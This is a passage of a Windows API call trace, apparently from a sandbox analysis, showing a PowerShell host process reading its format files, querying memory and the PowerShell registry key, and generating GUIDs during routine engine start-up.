	[0083.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.865] GetLastError () returned 0x57
	[0083.894] VirtualQuery (in: lpAddress=0xed6d0, lpBuffer=0xee6d0, dwLength=0x1c | out: lpBuffer=0xee6d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.899] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x87a4cc6c, Data2=0xe6f6, Data3=0x4acc, Data4=([0]=0xad, [1]=0xbc, [2]=0xe1, [3]=0xbb, [4]=0xea, [5]=0xe7, [6]=0xd6, [7]=0x28))) returned 0x0
	[0083.899] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x36d1e511, Data2=0xf8c9, Data3=0x4358, Data4=([0]=0x8e, [1]=0x4c, [2]=0xf3, [3]=0x22, [4]=0x4a, [5]=0x2, [6]=0x2e, [7]=0x34))) returned 0x0
	[0083.899] VirtualQuery (in: lpAddress=0xed748, lpBuffer=0xee748, dwLength=0x1c | out: lpBuffer=0xee748*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.900] VirtualQuery (in: lpAddress=0xed748, lpBuffer=0xee748, dwLength=0x1c | out: lpBuffer=0xee748*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.900] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa496b263, Data2=0x630c, Data3=0x4715, Data4=([0]=0x98, [1]=0x89, [2]=0x26, [3]=0xed, [4]=0x6f, [5]=0xa9, [6]=0x80, [7]=0xc3))) returned 0x0
	[0083.901] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x910f9ac4, Data2=0xcbbb, Data3=0x4fd1, Data4=([0]=0xbf, [1]=0x6e, [2]=0xb, [3]=0x8f, [4]=0x63, [5]=0x1, [6]=0x7c, [7]=0xb))) returned 0x0
	[0083.901] VirtualQuery (in: lpAddress=0xed874, lpBuffer=0xee874, dwLength=0x1c | out: lpBuffer=0xee874*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.901] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.901] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.901] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x982a3d38, Data2=0x8b93, Data3=0x4783, Data4=([0]=0x8a, [1]=0x92, [2]=0xb7, [3]=0xdd, [4]=0xc5, [5]=0x24, [6]=0x3d, [7]=0x3))) returned 0x0
	[0083.902] VirtualQuery (in: lpAddress=0xed874, lpBuffer=0xee874, dwLength=0x1c | out: lpBuffer=0xee874*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.902] VirtualQuery (in: lpAddress=0xed78c, lpBuffer=0xee78c, dwLength=0x1c | out: lpBuffer=0xee78c*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.902] VirtualQuery (in: lpAddress=0xed440, lpBuffer=0xee440, dwLength=0x1c | out: lpBuffer=0xee440*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.902] VirtualQuery (in: lpAddress=0xed440, lpBuffer=0xee440, dwLength=0x1c | out: lpBuffer=0xee440*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.903] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x5e3b749a, Data2=0xceaa, Data3=0x43ab, Data4=([0]=0x88, [1]=0xcd, [2]=0xe, [3]=0xc2, [4]=0x6a, [5]=0x1a, [6]=0x6, [7]=0xe0))) returned 0x0
	[0083.903] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x2f8c1a25, Data2=0x1642, Data3=0x41b3, Data4=([0]=0xa7, [1]=0x70, [2]=0x52, [3]=0x83, [4]=0x2, [5]=0x1f, [6]=0x53, [7]=0xc3))) returned 0x0
	[0083.903] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.903] GetLastError () returned 0x57
	[0083.903] SetErrorMode (uMode=0x1) returned 0x1
	[0083.903] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308
	[0083.903] GetLastError () returned 0x0
	[0083.903] GetFileType (hFile=0x308) returned 0x1
	[0083.903] SetErrorMode (uMode=0x1) returned 0x1
	[0083.903] GetFileType (hFile=0x308) returned 0x1
	[0083.903] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.904] GetLastError () returned 0x0
	[0083.905] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.907] GetLastError () returned 0x0
	[0083.907] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.907] GetLastError () returned 0x0
	[0083.907] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.907] GetLastError () returned 0x0
	[0083.908] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.908] GetLastError () returned 0x0
	[0083.908] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.908] GetLastError () returned 0x0
	[0083.908] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.908] GetLastError () returned 0x0
	[0083.908] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.908] GetLastError () returned 0x0
	[0083.909] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.909] GetLastError () returned 0x0
	[0083.909] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.909] GetLastError () returned 0x0
	[0083.909] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.909] GetLastError () returned 0x0
	[0083.910] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.910] GetLastError () returned 0x0
	[0083.910] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.910] GetLastError () returned 0x0
	[0083.910] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.910] GetLastError () returned 0x0
	[0083.910] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.910] GetLastError () returned 0x0
	[0083.910] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.910] GetLastError () returned 0x0
	[0083.911] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.911] GetLastError () returned 0x0
	[0083.911] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0xbce, lpOverlapped=0x0) returned 1
	[0083.911] GetLastError () returned 0x0
	[0083.911] ReadFile (in: hFile=0x308, lpBuffer=0x2e6875e, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e6875e*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.911] GetLastError () returned 0x0
	[0083.911] ReadFile (in: hFile=0x308, lpBuffer=0x2e68ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2e68ff0*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.912] GetLastError () returned 0x0
	[0083.912] CloseHandle (hObject=0x308) returned 1
	[0083.912] GetLastError () returned 0x0
	[0083.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee554, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.912] GetLastError () returned 0x0
	[0083.912] SetErrorMode (uMode=0x1) returned 0x1
	[0083.912] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e89fec | out: lpFileInformation=0x2e89fec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1
	[0083.912] GetLastError () returned 0x0
	[0083.912] SetErrorMode (uMode=0x1) returned 0x1
	[0083.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.912] GetLastError () returned 0x0
	[0083.912] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0083.912] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.912] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.912] RegCloseKey (hKey=0x308) returned 0x0
	[0083.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.913] GetLastError () returned 0x0
	[0083.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.913] GetLastError () returned 0x0
	[0083.915] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x15ce80ab, Data2=0x69d0, Data3=0x45f6, Data4=([0]=0x98, [1]=0x49, [2]=0xef, [3]=0xbc, [4]=0x7f, [5]=0x3f, [6]=0x3b, [7]=0x10))) returned 0x0
	[0083.915] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xde9fb8, Data2=0x47b5, Data3=0x49c8, Data4=([0]=0xb5, [1]=0x1, [2]=0x28, [3]=0x18, [4]=0x55, [5]=0xcb, [6]=0x9e, [7]=0x46))) returned 0x0
	[0083.915] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xdc46038d, Data2=0x1541, Data3=0x4f01, Data4=([0]=0xab, [1]=0x6d, [2]=0xae, [3]=0x99, [4]=0x36, [5]=0x41, [6]=0x62, [7]=0x24))) returned 0x0
	[0083.915] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xd5266f6d, Data2=0xed18, Data3=0x4c7d, Data4=([0]=0xba, [1]=0x19, [2]=0x68, [3]=0x50, [4]=0xc, [5]=0x45, [6]=0xfa, [7]=0x7e))) returned 0x0
	[0083.915] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xec4acfe9, Data2=0x2e9c, Data3=0x4e99, Data4=([0]=0xbf, [1]=0xfd, [2]=0xb6, [3]=0xc3, [4]=0xc, [5]=0x99, [6]=0x30, [7]=0x8a))) returned 0x0
	[0083.915] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xb48422b1, Data2=0xd703, Data3=0x4956, Data4=([0]=0x8d, [1]=0xb0, [2]=0x6c, [3]=0xfc, [4]=0xcf, [5]=0x32, [6]=0x60, [7]=0x95))) returned 0x0
	[0083.915] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.915] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x744a29db, Data2=0x2437, Data3=0x4dd9, Data4=([0]=0xb3, [1]=0x6c, [2]=0x2c, [3]=0xa5, [4]=0x23, [5]=0xb8, [6]=0x85, [7]=0x3a))) returned 0x0
	[0083.916] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.916] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.916] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xecbce83c, Data2=0x5cbb, Data3=0x4cb4, Data4=([0]=0x8f, [1]=0xdc, [2]=0x6e, [3]=0x62, [4]=0x5a, [5]=0x8e, [6]=0x2a, [7]=0x7))) returned 0x0
	[0083.916] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe1877177, Data2=0x54ae, Data3=0x4132, Data4=([0]=0x8d, [1]=0x98, [2]=0x21, [3]=0x5a, [4]=0xc4, [5]=0x61, [6]=0xd3, [7]=0xc7))) returned 0x0
	[0083.916] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xd8699770, Data2=0xff51, Data3=0x41bb, Data4=([0]=0xac, [1]=0xff, [2]=0x8, [3]=0xcf, [4]=0xae, [5]=0x54, [6]=0x27, [7]=0x6b))) returned 0x0
	[0083.916] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa93ff86b, Data2=0x1eb3, Data3=0x4bee, Data4=([0]=0x8f, [1]=0xd4, [2]=0x3a, [3]=0x49, [4]=0x5b, [5]=0x4c, [6]=0x39, [7]=0x2b))) returned 0x0
	[0083.916] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.916] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x5670871f, Data2=0x7e1e, Data3=0x4fce, Data4=([0]=0x80, [1]=0x47, [2]=0xe6, [3]=0xbd, [4]=0xae, [5]=0x8c, [6]=0x8a, [7]=0xd1))) returned 0x0
	[0083.917] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.917] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.917] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.917] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.918] VirtualQuery (in: lpAddress=0xed720, lpBuffer=0xee720, dwLength=0x1c | out: lpBuffer=0xee720*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.918] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x19cc76b1, Data2=0x101b, Data3=0x4514, Data4=([0]=0x82, [1]=0x72, [2]=0xf5, [3]=0x6d, [4]=0x83, [5]=0xe7, [6]=0x77, [7]=0x75))) returned 0x0
	[0083.918] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xae1784f3, Data2=0xf33, Data3=0x45fc, Data4=([0]=0x9c, [1]=0xa5, [2]=0x91, [3]=0x44, [4]=0xc1, [5]=0xf8, [6]=0x30, [7]=0x98))) returned 0x0
	[0083.918] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe9adf139, Data2=0xc1af, Data3=0x49ac, Data4=([0]=0x87, [1]=0x91, [2]=0x9a, [3]=0x3, [4]=0xac, [5]=0xce, [6]=0x75, [7]=0x98))) returned 0x0
	[0083.918] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x5ef920b7, Data2=0xe18e, Data3=0x421c, Data4=([0]=0xa3, [1]=0x64, [2]=0xed, [3]=0x73, [4]=0x73, [5]=0x9f, [6]=0xec, [7]=0x88))) returned 0x0
	[0083.918] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe1f2a173, Data2=0x5913, Data3=0x42bb, Data4=([0]=0x84, [1]=0xa8, [2]=0x80, [3]=0xe2, [4]=0xec, [5]=0xe3, [6]=0x94, [7]=0xb2))) returned 0x0
	[0083.918] VirtualQuery (in: lpAddress=0xed874, lpBuffer=0xee874, dwLength=0x1c | out: lpBuffer=0xee874*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x79d3b05a, Data2=0xa61a, Data3=0x464f, Data4=([0]=0x9a, [1]=0xb8, [2]=0x2d, [3]=0x87, [4]=0xb, [5]=0xe6, [6]=0xa4, [7]=0x37))) returned 0x0
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x71340269, Data2=0xf974, Data3=0x40eb, Data4=([0]=0x8a, [1]=0x25, [2]=0x2, [3]=0xed, [4]=0xc6, [5]=0x4e, [6]=0x9e, [7]=0x48))) returned 0x0
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x96f400e1, Data2=0xf78a, Data3=0x48d9, Data4=([0]=0x96, [1]=0x5c, [2]=0x21, [3]=0xdb, [4]=0x72, [5]=0xdc, [6]=0xe, [7]=0x98))) returned 0x0
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x913b1699, Data2=0x7d23, Data3=0x43ce, Data4=([0]=0xb8, [1]=0x97, [2]=0x80, [3]=0x4c, [4]=0x10, [5]=0xe4, [6]=0xa3, [7]=0xb4))) returned 0x0
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x289bad42, Data2=0x7a93, Data3=0x4674, Data4=([0]=0xb3, [1]=0x1, [2]=0x2, [3]=0x25, [4]=0xfc, [5]=0x49, [6]=0xae, [7]=0xa2))) returned 0x0
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x43922b8e, Data2=0xe7d2, Data3=0x4a86, Data4=([0]=0x8a, [1]=0x75, [2]=0x51, [3]=0x4c, [4]=0xf, [5]=0x7a, [6]=0x17, [7]=0x9))) returned 0x0
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xcbdf065f, Data2=0x488d, Data3=0x40eb, Data4=([0]=0x80, [1]=0x89, [2]=0x2c, [3]=0xe9, [4]=0x94, [5]=0xd4, [6]=0x19, [7]=0x76))) returned 0x0
	[0083.919] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x42c5e45b, Data2=0x9837, Data3=0x4831, Data4=([0]=0x92, [1]=0x5d, [2]=0xa0, [3]=0xaa, [4]=0x9, [5]=0x39, [6]=0x19, [7]=0xc8))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x60529510, Data2=0x74a1, Data3=0x41d5, Data4=([0]=0xb4, [1]=0x20, [2]=0x6b, [3]=0x47, [4]=0x73, [5]=0xd0, [6]=0xe5, [7]=0x4a))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x229b4639, Data2=0xda26, Data3=0x4eb3, Data4=([0]=0x8e, [1]=0xc0, [2]=0xff, [3]=0x43, [4]=0x9e, [5]=0xc5, [6]=0x20, [7]=0xf4))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xda108ca6, Data2=0xf3a2, Data3=0x4963, Data4=([0]=0xb4, [1]=0xa3, [2]=0xfe, [3]=0xa3, [4]=0x17, [5]=0x65, [6]=0x3d, [7]=0xab))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x3495fc9c, Data2=0x6e8, Data3=0x408c, Data4=([0]=0x80, [1]=0x7d, [2]=0x97, [3]=0x78, [4]=0x1d, [5]=0x79, [6]=0x53, [7]=0xe4))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x6d79cbd3, Data2=0x3b0e, Data3=0x4721, Data4=([0]=0x9c, [1]=0xdc, [2]=0xe1, [3]=0x8a, [4]=0x9d, [5]=0x1d, [6]=0x33, [7]=0xf7))) returned 0x0
	[0083.920] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x22daef8a, Data2=0x3e01, Data3=0x4e07, Data4=([0]=0xa1, [1]=0xe7, [2]=0x1, [3]=0x7b, [4]=0xc4, [5]=0xc0, [6]=0x8a, [7]=0xe3))) returned 0x0
